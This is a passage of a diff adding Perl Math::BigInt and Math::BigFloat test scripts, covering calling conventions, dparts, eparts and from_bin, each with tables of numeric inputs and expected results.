+use Test::More tests => 148;
+
+##############################################################################
+
+package Math::BigInt::Test;
+
+use Math::BigInt;
+our @ISA = qw/Math::BigInt/; # subclass of MBI
+use overload;
+
+##############################################################################
+
+package Math::BigFloat::Test;
+
+use Math::BigFloat;
+our @ISA = qw/Math::BigFloat/; # subclass of MBI
+use overload;
+
+##############################################################################
+
+package main;
+
+use Math::BigInt try => 'Calc';
+use Math::BigFloat;
+
+my ($x, $y, $z, $u);
+
+###############################################################################
+# check whether op's accept normal strings, even when inherited by subclasses
+
+# do one positive and one negative test to avoid false positives by "accident"
+
+my ($method, $expected);
+while (<DATA>) {
+ s/#.*$//; # remove comments
+ s/\s+$//; # remove trailing whitespace
+ next unless length; # skip empty lines
+
+ if (s/^&//) {
+ $method = $_;
+ next;
+ }
+
+ my @args = split /:/, $_, 99;
+ $expected = pop @args;
+ foreach my $class (qw/
+ Math::BigInt Math::BigFloat
+ Math::BigInt::Test Math::BigFloat::Test
+ /)
+ {
+ my $arg = $args[0] =~ /"/ || $args[0] eq "" ? $args[0]
+ : qq|"$args[0]"|;
+ my $try = "$class -> $method($arg);";
+ my $got = eval $try;
+ is($got, $expected, $try);
+ }
+}
+
+__END__
+&is_zero
+1:0
+0:1
+&is_one
+1:1
+0:0
+&is_positive
+1:1
+-1:0
+&is_negative
+1:0
+-1:1
+&is_nan
+abc:1
+1:0
+&is_inf
+inf:1
+0:0
+&bstr
+5:5
+10:10
+-10:-10
+abc:NaN
+"+inf":inf
+"-inf":-inf
+&bsstr
+1:1e+0
+0:0e+0
+2:2e+0
+200:2e+2
+-5:-5e+0
+-100:-1e+2
+abc:NaN
+"+inf":inf
+&babs
+-1:1
+1:1
+#&bnot
+#-2:1
+#1:-2
+&bzero
+:0
+&bnan
+:NaN
+abc:NaN
+&bone
+:1
+"+":1
+"-":-1
+&binf
+:inf
+"+":inf
+"-":-inf
diff --git a/gnu/usr.bin/perl/cpan/Math-BigInt/t/calling-instance-methods.t b/gnu/usr.bin/perl/cpan/Math-BigInt/t/calling-instance-methods.t
new file mode 100644
index 00000000000..8b0945e72af
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Math-BigInt/t/calling-instance-methods.t
@@ -0,0 +1,119 @@
+#!perl
+
+# test calling conventions, and :constant overloading
+
+use strict;
+use warnings;
+
+use Test::More tests => 140;
+
+##############################################################################
+
+package Math::BigInt::Test;
+
+use Math::BigInt;
+our @ISA = qw/Math::BigInt/; # subclass of MBI
+use overload;
+
+##############################################################################
+
+package Math::BigFloat::Test;
+
+use Math::BigFloat;
+our @ISA = qw/Math::BigFloat/; # subclass of MBI
+use overload;
+
+##############################################################################
+
+package main;
+
+use Math::BigInt try => 'Calc';
+use Math::BigFloat;
+
+my ($x, $y, $z, $u);
+
+###############################################################################
+# check whether op's accept normal strings, even when inherited by subclasses
+
+# do one positive and one negative test to avoid false positives by "accident"
+
+my ($method, $expected);
+while (<DATA>) {
+ s/#.*$//; # remove comments
+ s/\s+$//; # remove trailing whitespace
+ next unless length; # skip empty lines
+
+ if (s/^&//) {
+ $method = $_;
+ next;
+ }
+
+ my @args = split /:/, $_, 99;
+ $expected = pop @args;
+ foreach my $class (qw/
+ Math::BigInt Math::BigFloat
+ Math::BigInt::Test Math::BigFloat::Test
+ /)
+ {
+ my $arg = $args[0] =~ /"/ || $args[0] eq "" ? $args[0]
+ : qq|"$args[0]"|;
+ my $try = "$class -> new($arg) -> $method();";
+ my $got = eval $try;
+ is($got, $expected, $try);
+ }
+}
+
+__END__
+&is_zero
+1:0
+0:1
+&is_one
+1:1
+0:0
+&is_positive
+1:1
+-1:0
+&is_negative
+1:0
+-1:1
+&is_nan
+abc:1
+1:0
+&is_inf
+inf:1
+0:0
+&bstr
+5:5
+10:10
+-10:-10
+abc:NaN
+"+inf":inf
+"-inf":-inf
+&bsstr
+1:1e+0
+0:0e+0
+2:2e+0
+200:2e+2
+-5:-5e+0
+-100:-1e+2
+abc:NaN
+"+inf":inf
+&babs
+-1:1
+1:1
+&bnot
+-2:1
+1:-2
+&bzero
+:0
+&bnan
+:NaN
+abc:NaN
+&bone
+:1
+#"+":1
+#"-":-1
+&binf
+:inf
+#"+":inf
+#"-":-inf
diff --git a/gnu/usr.bin/perl/cpan/Math-BigInt/t/dparts-mbf.t b/gnu/usr.bin/perl/cpan/Math-BigInt/t/dparts-mbf.t
new file mode 100644
index 00000000000..90a29dd753d
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Math-BigInt/t/dparts-mbf.t
@@ -0,0 +1,294 @@
+#!perl
+
+use strict;
+use warnings;
+
+use Test::More tests => 1840;
+
+use Math::BigFloat;
+
+while (<DATA>) {
+ s/#.*$//; # remove comments
+ s/\s+$//; # remove trailing whitespace
+ next unless length; # skip empty lines
+
+ my ($x_str, $int_str, $frc_str) = split /:/;
+
+ note(qq|\n\$x = Math::BigFloat -> new("$x_str");|,
+ qq| (\$i, \$f) = \$x -> dparts();\n\n|);
+
+ {
+ my $x = Math::BigFloat -> new($x_str);
+ my ($int_got, $frc_got) = $x -> dparts();
+
+ isa_ok($int_got, "Math::BigFloat");
+ isa_ok($frc_got, "Math::BigFloat");
+
+ is($int_got, $int_str, "value of integer part");
+ is($frc_got, $frc_str, "value of fraction part");
+ is($x, $x_str, "input is unmodified");
+ }
+
+ note(qq|\n\$x = Math::BigFloat -> new("$x_str");|,
+ qq| \$i = \$x -> dparts();\n\n|);
+
+ {
+ my $x = Math::BigFloat -> new($x_str);
+ my $int_got = $x -> dparts();
+
+ isa_ok($int_got, "Math::BigFloat");
+
+ is($int_got, $int_str, "value of integer part");
+ is($x, $x_str, "input is unmodified");
+ }
+
+}
+
+__DATA__
+
+NaN:NaN:0
+
+inf:inf:0
+-inf:-inf:0
+
+0:0:0
+
+# positive numbers
+
+0.000000000001:0:0.000000000001
+0.00000000001:0:0.00000000001
+0.0000000001:0:0.0000000001
+0.000000001:0:0.000000001
+0.00000001:0:0.00000001
+0.0000001:0:0.0000001
+0.000001:0:0.000001
+0.00001:0:0.00001
+0.0001:0:0.0001
+0.001:0:0.001
+0.01:0:0.01
+0.1:0:0.1
+1:1:0
+10:10:0
+100:100:0
+1000:1000:0
+10000:10000:0
+100000:100000:0
+1000000:1000000:0
+10000000:10000000:0
+100000000:100000000:0
+1000000000:1000000000:0
+10000000000:10000000000:0
+100000000000:100000000000:0
+1000000000000:1000000000000:0
+
+0.0000000000012:0:0.0000000000012
+0.000000000012:0:0.000000000012
+0.00000000012:0:0.00000000012
+0.0000000012:0:0.0000000012
+0.000000012:0:0.000000012
+0.00000012:0:0.00000012
+0.0000012:0:0.0000012
+0.000012:0:0.000012
+0.00012:0:0.00012
+0.0012:0:0.0012
+0.012:0:0.012
+0.12:0:0.12
+1.2:1:0.2
+12:12:0
+120:120:0
+1200:1200:0
+12000:12000:0
+120000:120000:0
+1200000:1200000:0
+12000000:12000000:0
+120000000:120000000:0
+1200000000:1200000000:0
+12000000000:12000000000:0
+120000000000:120000000000:0
+1200000000000:1200000000000:0
+
+0.00000000000123:0:0.00000000000123
+0.0000000000123:0:0.0000000000123
+0.000000000123:0:0.000000000123
+0.00000000123:0:0.00000000123
+0.0000000123:0:0.0000000123
+0.000000123:0:0.000000123
+0.00000123:0:0.00000123
+0.0000123:0:0.0000123
+0.000123:0:0.000123
+0.00123:0:0.00123
+0.0123:0:0.0123
+0.123:0:0.123
+1.23:1:0.23
+12.3:12:0.3
+123:123:0
+1230:1230:0
+12300:12300:0
+123000:123000:0
+1230000:1230000:0
+12300000:12300000:0
+123000000:123000000:0
+1230000000:1230000000:0
+12300000000:12300000000:0
+123000000000:123000000000:0
+1230000000000:1230000000000:0
+
+0.000000000001234:0:0.000000000001234
+0.00000000001234:0:0.00000000001234
+0.0000000001234:0:0.0000000001234
+0.000000001234:0:0.000000001234
+0.00000001234:0:0.00000001234
+0.0000001234:0:0.0000001234
+0.000001234:0:0.000001234
+0.00001234:0:0.00001234
+0.0001234:0:0.0001234
+0.001234:0:0.001234
+0.01234:0:0.01234
+0.1234:0:0.1234
+1.234:1:0.234
+12.34:12:0.34
+123.4:123:0.4
+1234:1234:0
+12340:12340:0
+123400:123400:0
+1234000:1234000:0
+12340000:12340000:0
+123400000:123400000:0
+1234000000:1234000000:0
+12340000000:12340000000:0
+123400000000:123400000000:0
+1234000000000:1234000000000:0
+
+0.000003141592:0:0.000003141592
+0.00003141592:0:0.00003141592
+0.0003141592:0:0.0003141592
+0.003141592:0:0.003141592
+0.03141592:0:0.03141592
+0.3141592:0:0.3141592
+3.141592:3:0.141592
+31.41592:31:0.41592
+314.1592:314:0.1592
+3141.592:3141:0.592
+31415.92:31415:0.92
+314159.2:314159:0.2
+3141592:3141592:0
+
+# negative numbers
+
+-0.000000000001:0:-0.000000000001
+-0.00000000001:0:-0.00000000001
+-0.0000000001:0:-0.0000000001
+-0.000000001:0:-0.000000001
+-0.00000001:0:-0.00000001
+-0.0000001:0:-0.0000001
+-0.000001:0:-0.000001
+-0.00001:0:-0.00001
+-0.0001:0:-0.0001
+-0.001:0:-0.001
+-0.01:0:-0.01
+-0.1:0:-0.1
+-1:-1:0
+-10:-10:0
+-100:-100:0
+-1000:-1000:0
+-10000:-10000:0
+-100000:-100000:0
+-1000000:-1000000:0
+-10000000:-10000000:0
+-100000000:-100000000:0
+-1000000000:-1000000000:0
+-10000000000:-10000000000:0
+-100000000000:-100000000000:0
+-1000000000000:-1000000000000:0
+
+-0.0000000000012:0:-0.0000000000012
+-0.000000000012:0:-0.000000000012
+-0.00000000012:0:-0.00000000012
+-0.0000000012:0:-0.0000000012
+-0.000000012:0:-0.000000012
+-0.00000012:0:-0.00000012
+-0.0000012:0:-0.0000012
+-0.000012:0:-0.000012
+-0.00012:0:-0.00012
+-0.0012:0:-0.0012
+-0.012:0:-0.012
+-0.12:0:-0.12
+-1.2:-1:-0.2
+-12:-12:0
+-120:-120:0
+-1200:-1200:0
+-12000:-12000:0
+-120000:-120000:0
+-1200000:-1200000:0
+-12000000:-12000000:0
+-120000000:-120000000:0
+-1200000000:-1200000000:0
+-12000000000:-12000000000:0
+-120000000000:-120000000000:0
+-1200000000000:-1200000000000:0
+
+-0.00000000000123:0:-0.00000000000123
+-0.0000000000123:0:-0.0000000000123
+-0.000000000123:0:-0.000000000123
+-0.00000000123:0:-0.00000000123
+-0.0000000123:0:-0.0000000123
+-0.000000123:0:-0.000000123
+-0.00000123:0:-0.00000123
+-0.0000123:0:-0.0000123
+-0.000123:0:-0.000123
+-0.00123:0:-0.00123
+-0.0123:0:-0.0123
+-0.123:0:-0.123
+-1.23:-1:-0.23
+-12.3:-12:-0.3
+-123:-123:0
+-1230:-1230:0
+-12300:-12300:0
+-123000:-123000:0
+-1230000:-1230000:0
+-12300000:-12300000:0
+-123000000:-123000000:0
+-1230000000:-1230000000:0
+-12300000000:-12300000000:0
+-123000000000:-123000000000:0
+-1230000000000:-1230000000000:0
+
+-0.000000000001234:0:-0.000000000001234
+-0.00000000001234:0:-0.00000000001234
+-0.0000000001234:0:-0.0000000001234
+-0.000000001234:0:-0.000000001234
+-0.00000001234:0:-0.00000001234
+-0.0000001234:0:-0.0000001234
+-0.000001234:0:-0.000001234
+-0.00001234:0:-0.00001234
+-0.0001234:0:-0.0001234
+-0.001234:0:-0.001234
+-0.01234:0:-0.01234
+-0.1234:0:-0.1234
+-1.234:-1:-0.234
+-12.34:-12:-0.34
+-123.4:-123:-0.4
+-1234:-1234:0
+-12340:-12340:0
+-123400:-123400:0
+-1234000:-1234000:0
+-12340000:-12340000:0
+-123400000:-123400000:0
+-1234000000:-1234000000:0
+-12340000000:-12340000000:0
+-123400000000:-123400000000:0
+-1234000000000:-1234000000000:0
+
+-0.000003141592:0:-0.000003141592
+-0.00003141592:0:-0.00003141592
+-0.0003141592:0:-0.0003141592
+-0.003141592:0:-0.003141592
+-0.03141592:0:-0.03141592
+-0.3141592:0:-0.3141592
+-3.141592:-3:-0.141592
+-31.41592:-31:-0.41592
+-314.1592:-314:-0.1592
+-3141.592:-3141:-0.592
+-31415.92:-31415:-0.92
+-314159.2:-314159:-0.2
+-3141592:-3141592:0
diff --git a/gnu/usr.bin/perl/cpan/Math-BigInt/t/dparts-mbi.t b/gnu/usr.bin/perl/cpan/Math-BigInt/t/dparts-mbi.t
new file mode 100644
index 00000000000..4488b2e5970
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Math-BigInt/t/dparts-mbi.t
@@ -0,0 +1,162 @@
+#!perl
+
+use strict;
+use warnings;
+
+use Test::More tests => 784;
+
+use Math::BigInt;
+
+while (<DATA>) {
+ s/#.*$//; # remove comments
+ s/\s+$//; # remove trailing whitespace
+ next unless length; # skip empty lines
+
+ my ($x_str, $int_str, $frc_str) = split /:/;
+
+ note(qq|\n\$x = Math::BigInt -> new("$x_str");|,
+ qq| (\$i, \$f) = \$x -> dparts();\n\n|);
+
+ {
+ my $x = Math::BigInt -> new($x_str);
+ my ($int_got, $frc_got) = $x -> dparts();
+
+ isa_ok($int_got, "Math::BigInt");
+ isa_ok($frc_got, "Math::BigInt");
+
+ is($int_got, $int_str, "value of integer part");
+ is($frc_got, $frc_str, "value of fraction part");
+ is($x, $x_str, "input is unmodified");
+ }
+
+ note(qq|\n\$x = Math::BigInt -> new("$x_str");|,
+ qq| \$i = \$x -> dparts();\n\n|);
+
+ {
+ my $x = Math::BigInt -> new($x_str);
+ my $int_got = $x -> dparts();
+
+ isa_ok($int_got, "Math::BigInt");
+
+ is($int_got, $int_str, "value of integer part");
+ is($x, $x_str, "input is unmodified");
+ }
+
+}
+
+__DATA__
+
+NaN:NaN:0
+
+inf:inf:0
+-inf:-inf:0
+
+0:0:0
+
+# positive numbers
+
+1:1:0
+10:10:0
+100:100:0
+1000:1000:0
+10000:10000:0
+100000:100000:0
+1000000:1000000:0
+10000000:10000000:0
+100000000:100000000:0
+1000000000:1000000000:0
+10000000000:10000000000:0
+100000000000:100000000000:0
+1000000000000:1000000000000:0
+
+12:12:0
+120:120:0
+1200:1200:0
+12000:12000:0
+120000:120000:0
+1200000:1200000:0
+12000000:12000000:0
+120000000:120000000:0
+1200000000:1200000000:0
+12000000000:12000000000:0
+120000000000:120000000000:0
+1200000000000:1200000000000:0
+
+123:123:0
+1230:1230:0
+12300:12300:0
+123000:123000:0
+1230000:1230000:0
+12300000:12300000:0
+123000000:123000000:0
+1230000000:1230000000:0
+12300000000:12300000000:0
+123000000000:123000000000:0
+1230000000000:1230000000000:0
+
+1234:1234:0
+12340:12340:0
+123400:123400:0
+1234000:1234000:0
+12340000:12340000:0
+123400000:123400000:0
+1234000000:1234000000:0
+12340000000:12340000000:0
+123400000000:123400000000:0
+1234000000000:1234000000000:0
+
+3141592:3141592:0
+
+# negative numbers
+
+-1:-1:0
+-10:-10:0
+-100:-100:0
+-1000:-1000:0
+-10000:-10000:0
+-100000:-100000:0
+-1000000:-1000000:0
+-10000000:-10000000:0
+-100000000:-100000000:0
+-1000000000:-1000000000:0
+-10000000000:-10000000000:0
+-100000000000:-100000000000:0
+-1000000000000:-1000000000000:0
+
+-12:-12:0
+-120:-120:0
+-1200:-1200:0
+-12000:-12000:0
+-120000:-120000:0
+-1200000:-1200000:0
+-12000000:-12000000:0
+-120000000:-120000000:0
+-1200000000:-1200000000:0
+-12000000000:-12000000000:0
+-120000000000:-120000000000:0
+-1200000000000:-1200000000000:0
+
+-123:-123:0
+-1230:-1230:0
+-12300:-12300:0
+-123000:-123000:0
+-1230000:-1230000:0
+-12300000:-12300000:0
+-123000000:-123000000:0
+-1230000000:-1230000000:0
+-12300000000:-12300000000:0
+-123000000000:-123000000000:0
+-1230000000000:-1230000000000:0
+
+-1234:-1234:0
+-12340:-12340:0
+-123400:-123400:0
+-1234000:-1234000:0
+-12340000:-12340000:0
+-123400000:-123400000:0
+-1234000000:-1234000000:0
+-12340000000:-12340000000:0
+-123400000000:-123400000000:0
+-1234000000000:-1234000000000:0
+
+-3141592:-3141592:0
diff --git a/gnu/usr.bin/perl/cpan/Math-BigInt/t/eparts-mbf.t b/gnu/usr.bin/perl/cpan/Math-BigInt/t/eparts-mbf.t
new file mode 100644
index 00000000000..0c84ac66620
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Math-BigInt/t/eparts-mbf.t
@@ -0,0 +1,294 @@
+#!perl
+
+use strict;
+use warnings;
+
+use Test::More tests => 1840;
+
+use Math::BigFloat;
+
+while (<DATA>) {
+ s/#.*$//; # remove comments
+ s/\s+$//; # remove trailing whitespace
+ next unless length; # skip empty lines
+
+ my ($x_str, $mant_str, $expo_str) = split /:/;
+
+ note(qq|\n\$x = Math::BigFloat -> new("$x_str");|,
+ qq| (\$m, \$e) = \$x -> eparts();\n\n|);
+
+ {
+ my $x = Math::BigFloat -> new($x_str);
+ my ($mant_got, $expo_got) = $x -> eparts();
+
+ isa_ok($mant_got, "Math::BigFloat");
+ isa_ok($expo_got, "Math::BigFloat");
+
+ is($mant_got, $mant_str, "value of mantissa");
+ is($expo_got, $expo_str, "value of exponent");
+ is($x, $x_str, "input is unmodified");
+ }
+
+ note(qq|\n\$x = Math::BigFloat -> new("$x_str");|,
+ qq| \$m = \$x -> eparts();\n\n|);
+
+ {
+ my $x = Math::BigFloat -> new($x_str);
+ my $mant_got = $x -> eparts();
+
+ isa_ok($mant_got, "Math::BigFloat");
+
+ is($mant_got, $mant_str, "value of mantissa");
+ is($x, $x_str, "input is unmodified");
+ }
+
+}
+
+__DATA__
+
+NaN:NaN:NaN
+
+inf:inf:inf
+-inf:-inf:inf
+
+0:0:0
+
+# positive numbers
+
+0.000000000001:1:-12
+0.00000000001:10:-12
+0.0000000001:100:-12
+0.000000001:1:-9
+0.00000001:10:-9
+0.0000001:100:-9
+0.000001:1:-6
+0.00001:10:-6
+0.0001:100:-6
+0.001:1:-3
+0.01:10:-3
+0.1:100:-3
+1:1:0
+10:10:0
+100:100:0
+1000:1:3
+10000:10:3
+100000:100:3
+1000000:1:6
+10000000:10:6
+100000000:100:6
+1000000000:1:9
+10000000000:10:9
+100000000000:100:9
+1000000000000:1:12
+
+0.0000000000012:1.2:-12
+0.000000000012:12:-12
+0.00000000012:120:-12
+0.0000000012:1.2:-9
+0.000000012:12:-9
+0.00000012:120:-9
+0.0000012:1.2:-6
+0.000012:12:-6
+0.00012:120:-6
+0.0012:1.2:-3
+0.012:12:-3
+0.12:120:-3
+1.2:1.2:0
+12:12:0
+120:120:0
+1200:1.2:3
+12000:12:3
+120000:120:3
+1200000:1.2:6
+12000000:12:6
+120000000:120:6
+1200000000:1.2:9
+12000000000:12:9
+120000000000:120:9
+1200000000000:1.2:12
+
+0.00000000000123:1.23:-12
+0.0000000000123:12.3:-12
+0.000000000123:123:-12
+0.00000000123:1.23:-9
+0.0000000123:12.3:-9
+0.000000123:123:-9
+0.00000123:1.23:-6
+0.0000123:12.3:-6
+0.000123:123:-6
+0.00123:1.23:-3
+0.0123:12.3:-3
+0.123:123:-3
+1.23:1.23:0
+12.3:12.3:0
+123:123:0
+1230:1.23:3
+12300:12.3:3
+123000:123:3
+1230000:1.23:6
+12300000:12.3:6
+123000000:123:6
+1230000000:1.23:9
+12300000000:12.3:9
+123000000000:123:9
+1230000000000:1.23:12
+
+0.000000000001234:1.234:-12
+0.00000000001234:12.34:-12
+0.0000000001234:123.4:-12
+0.000000001234:1.234:-9
+0.00000001234:12.34:-9
+0.0000001234:123.4:-9
+0.000001234:1.234:-6
+0.00001234:12.34:-6
+0.0001234:123.4:-6
+0.001234:1.234:-3
+0.01234:12.34:-3
+0.1234:123.4:-3
+1.234:1.234:0
+12.34:12.34:0
+123.4:123.4:0
+1234:1.234:3
+12340:12.34:3
+123400:123.4:3
+1234000:1.234:6
+12340000:12.34:6
+123400000:123.4:6
+1234000000:1.234:9
+12340000000:12.34:9
+123400000000:123.4:9
+1234000000000:1.234:12
+
+0.000003141592:3.141592:-6
+0.00003141592:31.41592:-6
+0.0003141592:314.1592:-6
+0.003141592:3.141592:-3
+0.03141592:31.41592:-3
+0.3141592:314.1592:-3
+3.141592:3.141592:0
+31.41592:31.41592:0
+314.1592:314.1592:0
+3141.592:3.141592:3
+31415.92:31.41592:3
+314159.2:314.1592:3
+3141592:3.141592:6
+
+# negativ: numbers
+
+-0.000000000001:-1:-12
+-0.00000000001:-10:-12
+-0.0000000001:-100:-12
+-0.000000001:-1:-9
+-0.00000001:-10:-9
+-0.0000001:-100:-9
+-0.000001:-1:-6
+-0.00001:-10:-6
+-0.0001:-100:-6
+-0.001:-1:-3
+-0.01:-10:-3
+-0.1:-100:-3
+-1:-1:0
+-10:-10:0
+-100:-100:0
+-1000:-1:3
+-10000:-10:3
+-100000:-100:3
+-1000000:-1:6
+-10000000:-10:6
+-100000000:-100:6
+-1000000000:-1:9
+-10000000000:-10:9
+-100000000000:-100:9
+-1000000000000:-1:12
+
+-0.0000000000012:-1.2:-12
+-0.000000000012:-12:-12
+-0.00000000012:-120:-12
+-0.0000000012:-1.2:-9
+-0.000000012:-12:-9
+-0.00000012:-120:-9
+-0.0000012:-1.2:-6
+-0.000012:-12:-6
+-0.00012:-120:-6
+-0.0012:-1.2:-3
+-0.012:-12:-3
+-0.12:-120:-3
+-1.2:-1.2:0
+-12:-12:0
+-120:-120:0
+-1200:-1.2:3
+-12000:-12:3
+-120000:-120:3
+-1200000:-1.2:6
+-12000000:-12:6
+-120000000:-120:6
+-1200000000:-1.2:9
+-12000000000:-12:9
+-120000000000:-120:9
+-1200000000000:-1.2:12
+
+-0.00000000000123:-1.23:-12
+-0.0000000000123:-12.3:-12
+-0.000000000123:-123:-12
+-0.00000000123:-1.23:-9
+-0.0000000123:-12.3:-9
+-0.000000123:-123:-9
+-0.00000123:-1.23:-6
+-0.0000123:-12.3:-6
+-0.000123:-123:-6
+-0.00123:-1.23:-3
+-0.0123:-12.3:-3
+-0.123:-123:-3
+-1.23:-1.23:0
+-12.3:-12.3:0
+-123:-123:0
+-1230:-1.23:3
+-12300:-12.3:3
+-123000:-123:3
+-1230000:-1.23:6
+-12300000:-12.3:6
+-123000000:-123:6
+-1230000000:-1.23:9
+-12300000000:-12.3:9
+-123000000000:-123:9
+-1230000000000:-1.23:12
+
+-0.000000000001234:-1.234:-12
+-0.00000000001234:-12.34:-12
+-0.0000000001234:-123.4:-12
+-0.000000001234:-1.234:-9
+-0.00000001234:-12.34:-9
+-0.0000001234:-123.4:-9
+-0.000001234:-1.234:-6
+-0.00001234:-12.34:-6
+-0.0001234:-123.4:-6
+-0.001234:-1.234:-3
+-0.01234:-12.34:-3
+-0.1234:-123.4:-3
+-1.234:-1.234:0
+-12.34:-12.34:0
+-123.4:-123.4:0
+-1234:-1.234:3
+-12340:-12.34:3
+-123400:-123.4:3
+-1234000:-1.234:6
+-12340000:-12.34:6
+-123400000:-123.4:6
+-1234000000:-1.234:9
+-12340000000:-12.34:9
+-123400000000:-123.4:9
+-1234000000000:-1.234:12
+
+-0.000003141592:-3.141592:-6
+-0.00003141592:-31.41592:-6
+-0.0003141592:-314.1592:-6
+-0.003141592:-3.141592:-3
+-0.03141592:-31.41592:-3
+-0.3141592:-314.1592:-3
+-3.141592:-3.141592:0
+-31.41592:-31.41592:0
+-314.1592:-314.1592:0
+-3141.592:-3.141592:3
+-31415.92:-31.41592:3
+-314159.2:-314.1592:3
+-3141592:-3.141592:6
diff --git a/gnu/usr.bin/perl/cpan/Math-BigInt/t/eparts-mbi.t b/gnu/usr.bin/perl/cpan/Math-BigInt/t/eparts-mbi.t
new file mode 100644
index 00000000000..5c84e28c2db
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Math-BigInt/t/eparts-mbi.t
@@ -0,0 +1,162 @@
+#!perl
+
+use strict;
+use warnings;
+
+use Test::More tests => 784;
+
+use Math::BigInt;
+
+while (<DATA>) {
+ s/#.*$//; # remove comments
+ s/\s+$//; # remove trailing whitespace
+ next unless length; # skip empty lines
+
+ my ($x_str, $mant_str, $expo_str) = split /:/;
+
+ note(qq|\n\$x = Math::BigInt -> new("$x_str");|,
+ qq| (\$m, \$e) = \$x -> eparts();\n\n|);
+
+ {
+ my $x = Math::BigInt -> new($x_str);
+ my ($mant_got, $expo_got) = $x -> eparts();
+
+ isa_ok($mant_got, "Math::BigInt");
+ isa_ok($expo_got, "Math::BigInt");
+
+ is($mant_got, $mant_str, "value of mantissa");
+ is($expo_got, $expo_str, "value of exponent");
+ is($x, $x_str, "input is unmodified");
+ }
+
+ note(qq|\n\$x = Math::BigInt -> new("$x_str");|,
+ qq| \$m = \$x -> eparts();\n\n|);
+
+ {
+ my $x = Math::BigInt -> new($x_str);
+ my $mant_got = $x -> eparts();
+
+ isa_ok($mant_got, "Math::BigInt");
+
+ is($mant_got, $mant_str, "value of mantissa");
+ is($x, $x_str, "input is unmodified");
+ }
+
+}
+
+__DATA__
+
+NaN:NaN:NaN
+
+inf:inf:inf
+-inf:-inf:inf
+
+0:0:0
+
+# positive numbers
+
+1:1:0
+10:10:0
+100:100:0
+1000:1:3
+10000:10:3
+100000:100:3
+1000000:1:6
+10000000:10:6
+100000000:100:6
+1000000000:1:9
+10000000000:10:9
+100000000000:100:9
+1000000000000:1:12
+
+12:12:0
+120:120:0
+1200:NaN:3
+12000:12:3
+120000:120:3
+1200000:NaN:6
+12000000:12:6
+120000000:120:6
+1200000000:NaN:9
+12000000000:12:9
+120000000000:120:9
+1200000000000:NaN:12
+
+123:123:0
+1230:NaN:3
+12300:NaN:3
+123000:123:3
+1230000:NaN:6
+12300000:NaN:6
+123000000:123:6
+1230000000:NaN:9
+12300000000:NaN:9
+123000000000:123:9
+1230000000000:NaN:12
+
+1234:NaN:3
+12340:NaN:3
+123400:NaN:3
+1234000:NaN:6
+12340000:NaN:6
+123400000:NaN:6
+1234000000:NaN:9
+12340000000:NaN:9
+123400000000:NaN:9
+1234000000000:NaN:12
+
+3141592:NaN:6
+
+# negativ: numbers
+
+-1:-1:0
+-10:-10:0
+-100:-100:0
+-1000:-1:3
+-10000:-10:3
+-100000:-100:3
+-1000000:-1:6
+-10000000:-10:6
+-100000000:-100:6
+-1000000000:-1:9
+-10000000000:-10:9
+-100000000000:-100:9
+-1000000000000:-1:12
+
+-12:-12:0
+-120:-120:0
+-1200:NaN:3
+-12000:-12:3
+-120000:-120:3
+-1200000:NaN:6
+-12000000:-12:6
+-120000000:-120:6
+-1200000000:NaN:9
+-12000000000:-12:9
+-120000000000:-120:9
+-1200000000000:NaN:12
+
+-123:-123:0
+-1230:NaN:3
+-12300:NaN:3
+-123000:-123:3
+-1230000:NaN:6
+-12300000:NaN:6
+-123000000:-123:6
+-1230000000:NaN:9
+-12300000000:NaN:9
+-123000000000:-123:9
+-1230000000000:NaN:12
+
+-1234:NaN:3
+-12340:NaN:3
+-123400:NaN:3
+-1234000:NaN:6
+-12340000:NaN:6
+-123400000:NaN:6
+-1234000000:NaN:9
+-12340000000:NaN:9
+-123400000000:NaN:9
+-1234000000000:NaN:12
+
+-3141592:NaN:6
diff --git a/gnu/usr.bin/perl/cpan/Math-BigInt/t/from_bin-mbf.t b/gnu/usr.bin/perl/cpan/Math-BigInt/t/from_bin-mbf.t
new file mode 100644
index 00000000000..99c02dbf1c2
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Math-BigInt/t/from_bin-mbf.t
@@ -0,0 +1,102 @@
+#!perl
+
+use strict;
+use warnings;
+
+use Test::More tests => 729;
+
+my $class;
+
+BEGIN { $class = 'Math::BigFloat'; }
+BEGIN { use_ok($class, '1.999710'); }
+
+my @data;
+my $space = "\t\r\n ";
+
+while (<DATA>) {
+ s/#.*$//; # remove comments
+ s/\s+$//; # remove trailing whitespace
+ next unless length; # skip empty lines
+
+ my ($in0, $out0) = split /:/;
+
+ push @data, [ $in0, $out0 ],
+ [ $in0 . $space, $out0 ],
+ [ $space . $in0, $out0 ],
+ [ $space . $in0 . $space, $out0 ];
+}
+
+for my $entry (@data) {
+ my ($in0, $out0) = @$entry;
+
+ # As class method.
+
+ {
+ my $x;
+ my $test = qq|\$x = $class -> from_bin("$in0");|;
+
+ eval $test;
+ die $@ if $@; # this should never happen
+
+ subtest $test, sub {
+ plan tests => 2,
+
+ is(ref($x), $class, "output arg is a $class");
+ is($x, $out0, 'output arg has the right value');
+ };
+ }
+
+ # As instance method.
+
+ {
+ for my $str ("-1", "0", "1", "-inf", "+inf", "NaN") {
+ my $x;
+ my $test = qq|\$x = $class -> new("$str");|
+ . qq| \$x -> from_bin("$in0");|;
+
+ eval $test;
+ die $@ if $@; # this should never happen
+
+ subtest $test, sub {
+ plan tests => 2,
+
+ is(ref($x), $class, "output arg is a $class");
+ is($x, $out0, 'output arg has the right value');
+ };
+ }
+ }
+}
+
+__END__
+
+0b1p+0:1
+0b.1p+1:1
+0b.01p+2:1
+0b.001p+3:1
+0b.0001p+4:1
+0b10p-1:1
+0b100p-2:1
+0b1000p-3:1
+
+-0b1p+0:-1
+
+0b0p+0:0
+0b0p+7:0
+0b0p-7:0
+0b0.p+0:0
+0b.0p+0:0
+0b0.0p+0:0
+
+0b1100101011111110:51966
+b1100101011111110:51966
+1100101011111110:51966
+
+0b1.1001p+3:12.5
+0b10010.001101p-1:9.1015625
+-0b.11110001001101010111100110111101111p+31:-2023406814.9375
+0b10.0100011010001010110011110001001101p+34:39093746765
+
+NaN:NaN
++inf:NaN
+-inf:NaN
+0b.p+0:NaN
diff --git a/gnu/usr.bin/perl/cpan/Math-BigInt/t/from_bin-mbi.t b/gnu/usr.bin/perl/cpan/Math-BigInt/t/from_bin-mbi.t
new file mode 100644
index 00000000000..b4730794613
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Math-BigInt/t/from_bin-mbi.t
